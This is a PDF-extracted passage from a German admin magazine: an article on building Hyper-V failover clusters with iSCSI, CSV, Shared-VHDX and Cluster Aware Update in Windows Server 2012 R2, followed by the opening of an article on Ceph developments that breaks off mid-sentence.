(Shared-VHDX) nur virtuelle Cluster unterstützen. 

Live-Migration und Co. 

Unternehmen, die Server mit Hyper-V 

virtualisieren und Hochverfügbarkeit 

erreichen wollen, setzen dazu auf die 

Live-Migration von VMs im Cluster. Live- 

Migration lässt sich allerdings nur mit 

einem physischen, gemeinsamen Datenträger 

oder mit iSCSI-Zielen bereitstellen. 

Die gemeinsamen Festplatten 

auf Basis von Shared-VHDX unterstützen 

keine Cluster für die Live-Migration 

in Hyper-V. 

Betreiben Sie Hyper-V in einem Cluster, 

können Sie sicherstellen, dass beim 

Ausfall eines physischen Hosts alle 

virtuellen Server durch einen weiteren 

Host automatisch übernommen werden. 

Dazu betreiben Sie die virtuellen 

Server als Cluster-Ressourcen. Beim 

Einsatz von virtuellen Clustern können 

Sie Fehler in Servern ebenfalls abfangen, 

allerdings keine Fehler der Hardware, 

da der Cluster virtuell abgebildet 

ist. Natürlich können Sie die virtuellen 

Cluster-Knoten auch auf physischen 

Clustern betreiben. In diesem Fall sind 

die virtuellen Server vor Ausfall der 

Hardware geschützt und die virtuellen 

Cluster-Dienste, zum Beispiel ein Dateiserver, 

vor dem Ausfall des virtuellen 

Betriebssystems auf einem virtuellen 

Cluster-Knoten. 

iSCSI-Ziele 

Windows Server 2012 R2 stellt virtuelle 

Festplatten auf Basis von VHDX- 

Dateien als iSCSI-Ziel im Netzwerk 

zur Verfügung (Abbildung 1). Diese 


Know-how 

Windows-Cluster 

53 

virtuellen Festplatten können als gemeinsamer 

Datenträger für Cluster 

dienen. Um Festplatten als iSCSI-Target 

bereitzustellen, installieren Sie über 

den Server-Manager mit »Verwalten/ 

Rollen und Features hinzufügen« den 

Rollendienst »iSCSI‐Zielserver« über 

»Datei‐ und Speicherdienste/Datei‐ und 

iSCSI‐Dienste«. Nach der Installation 

des Rollendienstes können Sie über 

den Server-Manager und der Auswahl 

von »Datei‐/Speicherdienste/iSCSI« 

virtuelle Festplatten erstellen und diese 

als iSCSI-Ziel im Netzwerk anbieten. 

Dazu verwenden Sie am besten einen 

Server im Netzwerk, der nicht Bestandteil 

des Clusters ist. 

Im Rahmen der Einrichtung legen Sie 

die Größe und den Speicherort der 

VHD(X)-Datei fest. Außerdem können 

Sie über den Assistenten steuern, 

welche Server im Netzwerk auf das 

iSCSI-Ziel zugreifen dürfen. Wollen Sie 

die Festplatten als Cluster-Datenträger 

nutzen, können Sie hier den Zugriff einschränken. 

Mit einem einzelnen iSCSI- 

Ziel können Sie auch mehrere virtuelle 

iSCSI-Festplatten auf einem Server zur 

Verfügung stellen. Dazu starten Sie den 

Assistenten einfach neu und wählen ein 

bereits vorhandenes Ziel aus. 

Haben Sie die einzelnen virtuellen Festplatten 

erzeugt und iSCSI-Ziel(en) zugewiesen, 

können Sie sie mit den Cluster- 

Knoten verbinden. Die virtuellen Festplatten 

werden nach der Anbindung in 

der lokalen Datenträgerverwaltung des 

entsprechenden Servers als normale 

Laufwerke angezeigt und entsprechend 

verwaltet. 

iSCSI-Ziele verbinden 

Um auf Cluster-Knoten die virtuellen 

iSCSI-Laufwerke zu verbinden, verwenden 

Sie den iSCSI-Initiator, der zu den 

Bordmitteln von Windows Server 2012 

R2 gehört. Suchen Sie nach »iscsi« im 

Startbildschirm und starten Sie das 

Tool. Beim ersten Aufruf müssen Sie 

den Start des entsprechenden System- 

Dienstes bestätigen und die Blockierung 

durch die Windows-Firewall 

aufheben. 

Um den iSCSI-Storage einzubinden, 

wechseln Sie zuerst zur Registerkarte 

»Suche«. Klicken Sie auf »Portal ermit- 

teln« und geben Sie die 

IP-Adresse oder den 

Namen des Servers 

ein, der die virtuellen 

Festplatten zur Verfügung 

stellt. Wechseln 

Sie zur Registerkarte 

»Ziele«, auf der Windows 

das iSCSI-Ziel auf 

dem Server anzeigt. 

Anschließend können 

Sie das Ziel mit den 

hinterlegten Laufwerken 

verbinden, die Sie 

auf dem Ziel-Server 

mit dem iSCSI-Ziel erstellt 

haben. 

Klicken Sie auf die 

Schaltfläche »Verbinden«, baut der 

Server eine Verbindung mit dem 

Server und den erstellten virtuellen 

Festplatten auf (Abbildung 2). Aktivieren 

Sie das Kontrollkästchen »Diese 

Verbindung der Liste der bevorzugten 

Ziele hinzufügen«. Diese Option muss 

für alle Laufwerke eingestellt werden. 

Bestätigen Sie alle Fenster mit »OK«. 

Wenn Sie einen Cluster mit iSCSI erstellen, 

verbinden Sie das Ziel auch mit 

dem zweiten Server und allen weiteren 

Cluster-Knoten, die Sie in den Cluster 

einbinden wollen. 

Mit »Multipfad aktivieren« legen Sie 

fest, dass Windows Server 2012 R2 

auch alternative Netzwerkwege zwischen 

Server- und Ziel-System verwendet. 

Das ist ein wichtiger Beitrag zur 

Erhöhung der Ausfallsicherheit. 

iSCSI-Festplatten 

konfigurieren 

Nachdem Sie iSCSI-Ziele verbunden 

haben, stehen in der Datenträgerverwaltung 

die mit diesem iSCSI-Ziel 

verbundenen Laufwerke zur Verfügung. 

Die Datenträgerverwaltung starten Sie 

mit »diskmgmt.msc«. 

Nachdem die Laufwerke mit dem 

ersten Serverknoten verbunden sind, 

müssen diese über die Festplattenverwaltung 

online geschaltet, initialisiert, 

partitioniert und formatiert werden. 

Eine Umwandlung in dynamische 

Datenträger wird für den Einsatz im 

Cluster nicht empfohlen. Da die Datenträger 

aber bereits auf dem ersten 

Abbildung 1: Windows Server 2012 R2 kann virtuelle VHDX-Platten als 

iSCSI-Target bereitstellen. 

Knoten initialisiert und formatiert 

wurden, müssen Sie diesen Schritt 

auf dem zweiten nicht wiederholen. 

Auf dem zweiten Knoten reichen das 

Online-Schalten und das Ändern der 

Laufwerksbuchstaben, die mit dem ersten 

Knoten übereinstimmen müssen. 

Über das Kontextmenü setzen Sie die 

iSCSI-Targets online, dann initialisieren 

Sie die Targets, erstellen ein Volume 

und formatieren es mit NTFS. 

Cluster-Knoten vorbereiten 

Neben dem gemeinsamen Datenträger, 

auf den alle Cluster-Knoten zugreifen 

können, braucht ein Cluster auch ei- 

Abbildung 2: Auf den Cluster-Knoten binden Sie virtuelle 

iSCSI-Ziele über den iSCSI-Initiator an. 


Admin 

Ausgabe 02-2014

54 

Know-how 


Abbildung 3: Den Cluster-Dienst installieren Sie in Windows Server 

2012 R2 wahlweise auch in der Powershell. 

nen Namen. Dieser Name erhält kein 

Computerkonto, wird aber für die Administration 

des Clusters verwendet. 

Jeder Knoten des Clusters erhält ein 

Computerkonto in derselben Domäne. 

Daher benötigt jeder physische Knoten 

einen entsprechenden Rechnernamen. 

Sie brauchen für den Cluster mehrere 

IP-Adressen: für jeden physische Knoten 

je eine IP-Adresse, eine IP-Adresse 

für den Cluster als Ganzes und je eine 

IP-Adresse in einem eigenen Subnetz 

für die private Kommunikation der 

Cluster-Knoten. Nur in Testumgebungen 

kann die Kommunikation mit dem 

Netzwerk und die interne Cluster- 

Kommunikation in einer einzigen 

Netzwerkumgebung stattfinden. In 

Abbildung 4: Das Testen der Server für die Cluster-Installation ist der 

erste Schritt zum Erstellen eines Clusters. 

diesem Fall müssen Sie 

nichts anpassen. Für 

Test zwecke kann ein 

Cluster auch nur aus 

einem einzelnen Knoten 

bestehen. 

Cluster mit 

Windows Server 

2012 R2 

Um Hyper-V oder andere Dienste in 

einem Cluster zu betreiben, installieren 

Sie zunächst einen herkömmlichen 

Cluster mit Windows Server 2012 R2. 

Clustering installieren Sie in Windows 

Server 2012 R2 als Feature über den 

Server-Manager oder die Powershell. 

Während der Installation nehmen Sie 

keine Einstellungen vor. Achten Sie darauf, 

dass die gemeinsamen Datenträger 

auf allen Knoten verbunden und mit 

dem gleichen Laufwerksbuchstaben 

versehen sind. Um die notwendigen 

Features für einen Hyper-V-Cluster 

zu installieren, können Sie auch die 

Powershell verwenden (Abbildung 3): 

Install‐WindowsFeature Hyper‐V 

Abbildung 5: Cluster erstellen Sie in der Cluster-Verwaltung oder über die Powershell. 

Install‐WindowsFeature U 

Failover‐U 

Clustering 

Install‐WindowsFeatureU 

Multipath‐IO 

Starten Sie nach der 

Installation der notwendigen 

Features auf 

dem ersten Knoten die 

Failover-Cluster-Verwaltung, 

indem Sie auf 

der Startseite »failover« 

eingeben. Klicken 

Sie auf den Link »Konfiguration 

überprüfen«. 

Im Fenster wählen Sie 

zunächst die potenziellen 

Cluster-Knoten 

aus und legen fest, welche Tests das 

Tool durchführen soll (Abbildung 4). 

Die Verwaltung der Cluster ist aber 

nur verfügbar, wenn Sie die Verwaltungswerkzeuge 

auf einem Server 

installieren. Das können Sie über den 

Server-Manager durchführen oder mit 

der Powershell. 

Nachdem der Assistent alle wichtigen 

Punkte erfolgreich getestet hat, erstellen 

Sie den Cluster. Das ist wieder in 

der Powershell möglich (Abbildung 5): 

New‐Cluster ‐Name Cluster-NameU 

‐StaticAddress Cluster‐Adresse U 

‐Node Knoten 1, Knoten 2 

Cluster Shared Volumes 

aktivieren 

Wichtig für die Live-Migration von Hyper-V 

sind die Cluster Shared Volumes 

(CSV). Sie ermöglichen, dass mehrere 

Server in einem gemeinsamen Datenträger 

gleichzeitig auf einen gemeinsamen 

Datenträger zugreifen können. Um 

Hyper-V mit Live-Migration in einem 

Cluster zu betreiben, aktivieren Sie die 

Cluster Shared Volumes, nachdem Sie 

den Cluster erstellt haben. Windows 

legt dann auf der Betriebssystempartition 

im Ordner »ClusterStorage« Daten 

ab. Diese liegen aber nicht auf der 

Festplatte »C:« des Knotens, sondern 

auf dem gemeinsamen Datenträger, 

dessen Abruf auf den Ordner »C:\ClusterStorage« 

umgeleitet ist. Um CSV 

für einen Cluster zu aktivieren, starten 

Sie das Verwaltungsprogramm für den 

Failover-Cluster (Abbildung 6) und 

klicken mit der rechten Maustaste im 

Bereich »Speicher/Datenträger« auf den 

Datenträger, den Sie für Hyper-V nutzen 

wollen. Dort wählen Sie »Zu freigegebenen 

Clustervolumes hinzufügen«. 

Dynamisches I/O 

Cluster in Windows Server 2012 R2 beherrschen 

Dynamic I/O. Wenn die Datenverbindung 

eines Knotens ausfällt, 

kann der Cluster den Datenverkehr der 

für die Kommunikation zu den virtuellen 

Computern im SAN notwendig ist, 

automatisch über die Leitungen des 

zweiten Knotens routen, ohne dazu ein 

Failover durchführen zu müssen. Sie 

können einen Cluster so konfigurieren, 


Know-how 


55 

dass die Cluster-Knoten den Netzwerkverkehr 

zwischen den Knoten und zu 

den CSVs priorisiert. 

Virtuelle Server im Cluster 

verwalten 

Um einen virtuellen Server in einem 

Cluster zu erzeugen, verwenden Sie die 

Failover-Cluster-Manager (Abbildung 7). 

Klicken Sie mit der rechten Maustaste 

auf »Rollen/Virtueller Computer/Neuer 

virtueller Computer« und starten Sie 

den Assistenten. Wählen Sie den Cluster-Knoten, 

auf dem Sie diesen Server 

bereitstellen wollen. Der Rest des Assistenten 

entspricht der Konfiguration 

von virtuellen Servern. Die virtuellen 

Server erscheinen nach dem Erstellen 

im Bereich Rollen der Failover-Cluster- 

Verwaltung. Über das Kontextmenü 

verwalten Sie die virtuellen Server. 

Um eine Live-Migration zu starten, 

klicken Sie den virtuellen Computer 

mit der rechten Maustaste an, rufen 

Abbildung 6: Die Datenträger des Clusters verwalten Sie im grafischen 

Failover-Cluster-Manager. 

im Kontextmenü den 

Eintrag »Verschieben/ 

Livemigration« auf und 

wählen den Knoten 

aus. Zuvor müssen Sie 

aber die Live-Migration 

auf den entsprechenden 

Hyper-V-Hosts in 

den Hyper-V-Einstellungen 

konfigurieren. 

Der Unterschied der 

Live-Migration zur 

Schnellmigration ist, 

dass die Maschinen 

während der Übertragung 

durch die 

Live-Migration aktiv bleiben und auch 

der Arbeitsspeicherinhalt zwischen 

den Servern übertragen wird. Bei der 

Schnellmigration deaktiviert Hyper-V 

die Maschinen vorher. 

Sie können einen Cluster mit Windows 

Server 2012 R2 so konfigurieren, dass 

die Cluster-Knoten den Netzwerkverkehr 

zwischen den Knoten und den gemeinsamen 

Datenträgern priorisieren. 

Um zu erfahren, welche Netzwerkeinstellungen 

der Cluster zur Kommunikation 

mit dem Cluster Shared Volume 

nutzt, starten Sie eine Powershell- 

Sitzung auf dem Server und rufen das 

Commandlet »Get‐ClusterNetwork« auf.

56 

Know-how 


Abbildung 7: Die Verwaltung der virtuellen Computer findet im Failover-Cluster-Manager 

statt. 

Neu seit Windows Server 2012 ist auch 

der Bereich »Startpriorität ändern« im 

Kontextmenü von virtuellen Servern. 

Dort können Sie festlegen, wann bestimmte 

virtuelle Server starten sollen. 

Ebenfalls neu ist die Möglichkeit, die 

Überwachung für virtuelle Server im 

Cluster festzulegen. Sie finden diese 

Einstellung über »Weitere Aktionen/ 

Überwachung konfigurieren.« Anschließend 

wählen Sie die Dienste aus, die 

der Cluster überwachen soll. Fällt in 

der VM einer der ausgewählten Dienste 

aus, kann der Cluster die VM neu starten 

oder auf einen anderen Knoten 

verschieben. 

Shared-VHDX-Festplatten 

Neben der Möglichkeit physische Festplatten 

und iSCSI-Ziele für Cluster zu 

nutzen, können Sie in Windows Server 

2012 R2 auch die neue Shared-Funktion 

Abbildung 8: Virtuelle Festplatten können Sie in Windows Server 2012 

R2 freigeben und so im Cluster nutzen. 

von VHDX-Festplatten 

nutzen. Dabei erstellen 

Sie eine oder mehrere 

virtuelle Festplatten, 

die Sie über einen virtuellen 

SCSI-Controller 

einem der virtuellen 

Cluster-Knoten zuweisen. 

Rufen Sie die Einstellungen 

des virtuellen 

Servers auf und wählen 

Sie »SCSI‐Controller 

/ Festplatte / 

Erweiterte Features«. 

Aktivieren Sie die 

Option »Freigabe 

virtueller Festplatten 

aktivieren« (Abbildung 

8). Jetzt haben Sie 

die Möglichkeit, diese 

virtuelle Festplatte 

anderen virtuellen 

Servern zuzuordnen 

und auf diesem Weg als gemeinsamen 

Datenträger zu nutzen. Auf Basis dieses 

virtuellen Datenträgers bauen Sie dann 

einen Cluster mit virtuellen Servern 

in Hyper-V oder einer anderen Virtualisierungslösung 

auf. Auf diesem Weg 

lassen sich sehr leicht virtuelle Cluster 

aufbauen. 

Damit die Shared-VHDX-Funktion genutzt 

werden kann, müssen sich die 

virtuellen Server in einem Cluster befinden. 

Außerdem müssen die virtuellen 

Festplatten, die Shared-VHDX bereitstellen, 

auf einem gemeinsamen Datenträger 

im Cluster gespeichert sein. Hier 

verwenden Sie am besten den konfigurierten 

CSV. Das heißt, in Windows 8.1 

können Sie keine Shared-VHDX-Platten 

nutzen, auch wenn diese Funktion prinzipiell 

zur Verfügung steht. Sie können 

aber zu Testzwecken problemlos einen 

Cluster mit nur einem Knoten erstellen. 

Das ist zwar kein 

offiziell unterstütztes 

Szenario, funktioniert 

aber. 

Gemeinsame Festplatten 

können Sie nicht 

im laufenden Betrieb 

anpassen, um etwa die 

Größe der Platten zu 

ändern. Das geht nur 

bei normalen virtuellen Festplatten, die 

virtuellen SCSI-Controllern zugeordnet 

sind. Diese Funktion ist neu in Windows 

Server 2012 R2. Außerdem können Sie 

keine Live-Migration des Speichers für 

virtuelle Festplatten durchführen, die 

Sie im Cluster als Shared-VHDX nutzen. 

Auch das geht nur mit normalen 

Festplatten, selbst schon in Windows 

Server 2012. 

Beispiel für eine 

Testumgebung 

Um zum Beispiel einen virtuellen Cluster 

als Dateiserver zu nutzen und die 

Daten des virtuellen Dateiserver-Clusters 

in Shared-VHDX-Dateien zu speichern, 

erstellen Sie wie beschrieben 

einen normalen Cluster. Für eine Testumgebung 

kann der Cluster auch nur 

aus einem einzelnen Server bestehen. 

Um die Shared-VHDX-Platten in einem 

bestimmten Laufwerk zu speichern, 

geben Sie in der Befehlszeile folgenden 

Befehl ein: 

FLTMC.EXE attach svhdxflt Laufwerk 

Danach können Sie den einzelnen 

virtuellen Servern im Cluster virtuelle 

Festplatten hinzufügen und diese als 

Shared-VHDX konfigurieren. Danach 

erstellen Sie den virtuellen Cluster genauso 

wie den physischen Cluster. 

Erstellen Sie mehrere gemeinsame 

Festplatten, können Sie diese auf diesem 

Weg auch zu einem Speicherpool 

zusammenfassen und ebenfalls im 

Cluster einsetzen. Den Pool erstellen 

Sie im Bereich »Speicher / Pools des 

Clusters«. 

Cluster Aware Update 

Mit Windows Server 2012 hat Microsoft 

die Funktion Cluster Aware Update 

(CAU) eingeführt. Sie erlaubt die Installation 

von Software-Updates über 

den Cluster-Dienst. Damit lassen sich 

Betriebssystem und Serveranwendungen 

aktualisieren, ohne dass Cluster- 

Dienste ausfallen. 

Bei der Konfiguration von CAU erstellen 

Sie eine neue Rolle, die zukünftig Software-Aktualisierungen 

vollkommen 

selbstständig durchführen kann. Sie 

übernimmt auch die Konfiguration des 


Know-how 


57 

Wartungsmodus auf den Cluster-Knoten, 

kann Cluster-Knoten neu starten, 

Cluster-Rollen wieder auf die korrekten 

Cluster-Knoten verschieben und mehr. 

Sie können die Aktualisierung manuell 

starten und einen Zeitplan für die Aktualisierungen 

definieren. 

Um CAU für einen neuen Cluster zu 

erstellen, erstellen Sie zunächst im 

Snap-In »Active Directory‐Benutzer und 

‐Computer« ein neues Computerobjekt. 

Dieser Vorgang ist optional, denn das 

Computerobjekt kann der Assistent 

für CAU auch selbst erstellen. Dieses 

Computerobjekt stellt die Grundlage 

für die Cluster-Rolle zur Einrichtung 

der automatischen Aktualisierung dar. 

Sie müssen keine Einstellungen für das 

Objekt vornehmen, sondern es nur neu 

erzeugen. Verwenden Sie als Beispiel 

den Namen des Clusters mit der Erweiterung 

CAU, zum Beispiel »cluster‐cau«. 

Zusätzlich sollten Sie auf allen Cluster- 

Knoten, die an CAU teilnehmen, eine 

eingehende Firewall-Regel erstellen 

und als Regeltyp »Vordefiniert/Remote- 

Herunterfahren« auswählen. Das Verwaltungsprogramm 

starten Sie durch 

Eingabe von »wf.msc«. Ist die Regel 

schon vorhanden, aktivieren Sie sie 

über das Kontextmenü. 

Ist das erledigt, suchen Sie auf der 

Startseite nach dem Einrichtungsprogramm 

von »Clusterfähiges Aktualisieren« 

und starten das Tool. Im ersten 

Schritt lassen Sie sich mit dem Cluster 

verbinden, für den Sie CAU aktivieren 

wollen. Danach klicken Sie auf den Link 

»Vorbereitung auf das Clusterupdate 

analysieren«. Der Assistent überprüft, 

ob Sie CAU im Cluster aktivieren können 

(Abbildung 9). 

Haben Sie sich mit dem gewünschten 

Cluster verbunden und die Analyse 

durchgeführt, starten Sie die Einrichtung 

über einen Assistenten. Ihn rufen 

Sie mit »Selbstaktualisierungsoptionen 

des Clusters konfigurieren« auf. Auf der 

ersten Seite erhalten Sie eine Information 

darüber, was der Assistent alles 

konfiguriert. Auf der nächsten Seite 

aktivieren Sie die Option »CAU‐Clusterrolle 

mit aktiviertem Selbstaktualisierungsmodus 

zum Cluster hinzufügen«. 

Danach aktivieren Sie die Option »Ich 

habe das Computerobjekt für die 

CAU‐Clusterrolle vorab 

bereitgestellt«. Geben 

Sie im Feld den Namen 

des Computerobjekts 

ein. Der Assistent kann 

das Objekt aber auch 

automatisch erstellen, 

was die Konfiguration 

in Testumgebungen 

vereinfacht. 

Auf der nächsten Seite 

legen Sie den Zeitplan 

fest, nach dem 

sich der Cluster und 

die einzelnen Knoten 

automatisiert aktualisieren 

sollen. Auf 

der Seite »Erweiterte 

Optionen« können Sie 

weitere Einstellungen 

vornehmen, die aber 

optional sind. Sinnvoll ist zum Beispiel 

die Option, die bestimmt, dass die Aktualisierung 

nur dann gestartet wird, 

wenn alle Cluster-Knoten erreichbar 

sind. Dazu aktivieren Sie die Option 

»True« bei »RequireAllNodesOnline«. 

Weitere Möglichkeiten sind das Hinterlegen 

von Skripten, die vor oder nach 

der Aktualisierung vom Cluster-Dienst 

gestartet werden sollen. 

Auf der nächsten Seite legen Sie fest, 

wie sich der Cluster-Dienst mit empfohlenen 

Updates befassen soll und 

ob diese die gleiche Rolle spielen wie 

wichtige Updates. Danach erhalten 

Sie eine Zusammenfassung, und der 

Dienst wird erstellt. Tritt ein Fehler auf, 

überprüfen Sie die Rechte für das Computerobjekt 

zur Cluster-Aktualisierung. 

Geben Sie in den Eigenschaften des Objekts 

dem Cluster-Konto volle Zugriffsrechte 

auf das neue Konto. Alternativ 

lassen Sie den Assistenten selbst das 

Computerobjekt erstellen. Lassen Sie 

nach der Einrichtung von CAU die Analyse 

noch einmal durchführen. 

Patch-Management 

Welche Patches der Dienst installiert, 

steuern Sie durch Freigabe der Patches 

auf einem WSUS-Server, oder Sie aktivieren 

die lokale Update-Verwaltung 

auf dem Server. Die Liste der Patches, 

die der Dienst installiert, erhalten Sie 

im Verwaltungsprogramm für CAU, 

Abbildung 9: Vor der Aktivierung von Cluster Aware Update analysieren 

Sie den Cluster. Hier sieht alles gut aus. 

wenn Sie auf »Vorschau der Updates für 

diesen Cluster anzeigen« klicken. 

Um die Aktualisierung sofort zu starten, 

klicken Sie auf »Updates auf diesen 

Cluster anwenden«. Den Status der 

aktuellen Installationen sehen Sie im 

Verwaltungstool von CAU, mit dem 

Sie den Dienst bereits eingerichtet 

haben. Bei der Aktualisierung wird 

der entsprechende Knoten in den 

Wartungszustand versetzt, die Clusterressourcen, 

wie zum Beispiel die VMs, 

auf andere Knoten verschoben, danach 

die Aktualisierung gestartet und dann 

die Ressourcen wieder zurückübertragen. 

Danach wird der nächste Knoten 

aktualisiert. Weitere Informationen zu 

diesem Dienst sind auf der Seite [1] zu 

finden. (ofr) n 

n Info 





[1] Thomas Joos, Umgang mit VHDX-Dateien, 

ADMIN 05/2013: [http:// www. 

admin‐magazin. de/ Das‐Heft/ 2013/ 05/ 

Umgang‐mit‐VHDX‐Dateien] 

[2] Cluster-fähiges Aktualisieren: Häufig gestellte 

Fragen: [http:// technet. microsoft. com/ de‐de/ 

library/ hh831367. aspx] 


Admin 

Ausgabe 02-2014

Heiko Küverling, 12RF 

Wohin geht die Reise bei Ceph-Objectstore? 

Ablagesystem 

Red Hat veröffentlichte kürzlich ein flammendes Manifest für GlusterFS und gegen Ceph. Man nimmt den 

Konkurrenten also durchaus ernst. Grund genug, die neuesten Entwicklungen bei Ceph genauer zu betrachten. 

Martin Loschwitz 

Der Objektspeicher Ceph war im 

ADMIN-Magazin bereits einige Male 

Thema, und bis jetzt hatte Ceph dabei 

stets die Rolle des Underdogs – hatte 

es doch bis dato Insider-Charakter: Nur, 

wer sich bereits eingehend mit den 

neuen Storage-Technologien beschäftigt 

hat, dürfte Ceph schon bemerkt 

und womöglich sogar ausprobiert 

haben. Inktank, die Firma hinter Ceph, 

hat in den letzten Wochen und Monaten 

nichts unversucht gelassen, um das 

zu ändern: Neben medial groß angekündigten 

Ceph Developer Summits 

(dazu später mehr) tourte ein Team 

von Inktank-Angestellten inklusive des 

Ceph-Erfinders Sage Weil auch rund um 

die Welt, um Ceph-Days in verschiedenen 

Städten abzuhalten. Im Oktober 

war ein solcher Ceph-Day in London, 

der sich großer Beliebtheit erfreute: 

Dutzende Interessierte nutzten die 

Gelegenheit, um Sage Weil direkt Fragen 

zu stellen, die Ceph betreffen, und 

mehr über die Lösung zu erfahren. 

Im November erhielt Ceph dann quasi 

obendrein so etwas wie einen kleinen 

Ritterschlag: Red Hat veröffentlichte 

im Gluster-Blog einen Artikel, in dem 

es sich ausführlich über vermeintliche 

Benchmark-Vergleiche zwischen Ceph 

und GlusterFS ausließ [1]. Die Nervosität 

bei den roten Hüten macht deutlich, 

dass man Ceph dort mittlerweile 

ernst nimmt und bereit ist, Geld für 

Marketing in die Hand zu nehmen, um 

die Vorzüge von GlusterFS gegenüber 

Ceph deutlich zu machen. Frei nach 

Mahatma Gandhi hat Red Hat Ceph erst 

ignoriert, danach eine ganze Weile belächelt 

und nun schließlich begonnen, 

die Software zu bekämpfen. 

Was tut sich? 

Es stellt sich freilich die Frage, ob 

Sage Weil und sein Team eingedenk 

der ganzen Reisen derzeit überhaupt 

entwickeln können? Sie können – und 

wie! Denn während die PR-Kampagnen 

für Ceph langsam fruchten, tut sich 

bei der Speicherlösung auch inhaltlich 

einiges. Zwei Releases haben in den 

letzten sechs Monaten das Licht der 

Welt erblickt: Dumpling erschien im 

August, Emperor im November. Die beiden 

Releases allein bergen interessante 

Features, über die sich seitenweise berichten 

ließe; dann blieben allerdings 

die Leckerbissen, die Firefly enthalten 

soll, unerwähnt. Die folgenden Zeilen 


Know-how 

Ceph 

59 

geben einen Überblick über das Neue, 

das schon da ist, und das Neue, das 

noch kommt. 

Einfacheres Deployment 

Für Anwender dürfte die offensichtlichste 

und damit am ehesten bemerkbare 

Veränderung wohl die Tatsache 

sein, dass das Werkzeug »ceph‐deploy« 

nun tatsächlich reif für den produktiven 

Einsatz ist. Wer Ceph zuvor installieren 

wollte, musste einen eher steinigen 

Weg auf sich nehmen und dabei auch 

das in Entwicklerkreisen fasst schon 

verhasste »mkcephfs« verwenden (Abbildung 

1). Jenes war ein riesiges Shell- 

Skript, das noch aus den Cephschen 

Anfangszeiten erhalten geblieben war 

und in loser Aneinanderreihung Befehle 

ausführte, die letztlich zu einem 

funktionierenden Ceph-Cluster führten. 

»mkcephfs« war dabei aber nicht sehr 

flexibel, abgesehen davon, dass sein 

Name grob irreführend war: Das Tool 

erstellte nämlich kein Dateisystem, 

sondern baute anhand einer vom Admin 

beigesteuerten »ceph.conf«-Datei 

einen kompletten Ceph-Cluster aus Monitoring-Servern, 

OSDs und Metadaten- 

Servern zusammen, indem es sich per 

SSH mit den einzelnen Servern verband 

und dort Befehle ausführte. 

Damit ist nun Schluss: »ceph‐deploy« 

(Abbildung 2) ist jetzt ein eigens geschriebenes 

Python-Werkzeug, an dem 

seit Monaten entwicklet wird. Es übernimmt 

die Aufgaben seines Vorgängers, 

funktioniert dabei aber nachvollziehbar 

und ist viel besser zu warten. Obendrein 

kommt es mit einem echten 

Mehrwert: Viele Schritte, die der Admin 

vorher manuell erledigen musste, 

übernimmt »ceph‐deploy« nun automatisch. 

So war es bei »mkcephfs« beispielsweise 

normal, dass sich ein Admin 

selbst darum kümmern musste, die 

Dateisysteme auf den zukünftigen 

OSDs selbst anzulegen. Auch das Mounten 

der Platten per »/etc/fstab« war in 

früheren Ceph-Versionen dem Admin 

überlassen. Mittels »ceph‐deploy« 

reicht der Befehl »ceph‐deploy osd prepare 

host:sdc1:/dev/sdq1« gefolgt von 

»ceph osd activate host:/dev/sdc1«, damit 

das neue OSD aktiv wird und in den 

Cluster integriert wird. Das Beispielkommando 

würde dafür sorgen, dass 

die Platte »/dev/sdc1« auf Host host mit 

dem Journal‐Device »/dev/sdq1« zur 

OSD wird. 

Admins sind angehalten, fortan ausschließlich 

»ceph‐deploy« zu nutzen, 

»mkcephfs« ist bereits deprecated 

und wird in absehbarer Zeit auch aus 

dem Ceph-Quelltext fliegen. Die Chef- 

Recipes sind bereits auf »ceph‐deploy« 

umgestellt, sodass auch hier keine 

Schwierigkeiten zu erwarten sind. Nutzen 

Admins »ceph‐deploy«, so ist es für 

sie deutlich einfacher, einen Cluster in 

Ceph auf Basis von Standardpfaden anzulegen, 

was im Fehlerfalle das Suchen 

nach der Ursache sehr viel leichter 

macht. 

»ceph‐deploy« ist mittlerweile übrigens 

in Paketform für verschiedene Distributionen 

verfügbar. Anders als sein 

Vorgänger gehört es nicht direkt zum 

»ceph«-Quelltext, sondern hat seinen 

eigenen Sourcetree unter [2], sodass in 

der Regel die Installation des Zusatzpaketes 

»ceph‐deploy« nötig ist. 

Der Name Ceph 

Wer die Release-Notes der letzten 

Ceph-Versionen liest, stolpert über 

viele vermeintlich neue Begriffe: »Ceph 

Block Device«, »Ceph Gateway« sowie 

»Ceph Storage Cluster«. Vermeintlich 

Abbildung 1: Die von »ceph‐deploy« generierte 

»ceph.conf« unterscheidet sich von der alten Syntax 

deutlich und hat ordentlich abgespeckt. 

neu sind die Begriffe, weil die sich hinter 

ihnen verbergenden Komponenten 

eigentlich alte Bekannte sind: Was 

nun als »Ceph Gateway« firmiert, war 

vorher das »RADOS Gateway« und das 

»Ceph Block Device« war einmal das 

»RADOS Block Device«. 

Das Umtaufen hat offensichtlich System, 

und Inktank verfolgt auf diese 

Weise das Ziel, Ceph als Eigennamen zu 

etablieren. Ursprünglich war »Ceph« ja 

lediglich der Name für das Dateisystem, 

das im Hintergrund auf den eigentlichen 

Objectstore zugreift. Als Sage Weil & Co. 

aufging, dass sich der Objectstore selbst 

auch für andere Funktionen als ein 

Dateisystem nutzen ließe, war das zumindest 

namenstechnisch ein Problem, 

denn der Name »Ceph« war eben für das 

Dateisystem vergeben und in Szenekreisen 

bereits einigermaßen verbreitet. 

Dass die Entwickler nun den Versuch 

Abbildung 2: »ceph‐deploy« geriert sich fast schon wie eine Shell. Mit den entsprechenden Parametern 

baut es einen kompletten Ceph-Cluster auf. 


Admin 

Ausgabe 02-2014

60 

Know-how 

Ceph 

Abbildung 3: Erasure Coding beschreibt Entwickler Loic Dachary 

als „anderen Namen für RAID 5“. Jedenfalls geht es um das Chunkbasierte 

Ablegen von Daten. 

unternehmen, den alten Namen »RA- 

DOS« loszuwerden und stattdessen die 

positiven Konnotationen von »Ceph« auf 

die gesamte Lösung übertragen möchten, 

erscheint durchaus konsequent 

– ungewohnt ist es trotzdem. Über die 

Lösung für ein Namensproblem brütet 

Inktank zudem bis jetzt: Das Dateisystem, 

das vorher nur »Ceph« hieß, heißt 

mittlerweile offiziell »CephFS« – weil das 

Modul als »Ceph« aber bereits im Kernel 

ist, wird eine Änderung des Namens hier 

nochmal deutlich schwieriger. Wie das 

Thema ausgeht, war bei Redaktionsschluss 

noch nicht absehbar. 

Site-Replikation 

Auch bei den einzelnen Ceph-Komponenten 

selbst tut sich einiges. Eine 

neue Funktion, die viele Ceph-Benutzer 

sehnsüchtig erwartet haben, hat zunächst 

das Ceph-Gateway spen diert 

bekommen, also die ReSTful-API für 

den Objectstore: Ab Version 0.67, also 

Dumpling, beherrscht jenes näm lich die 

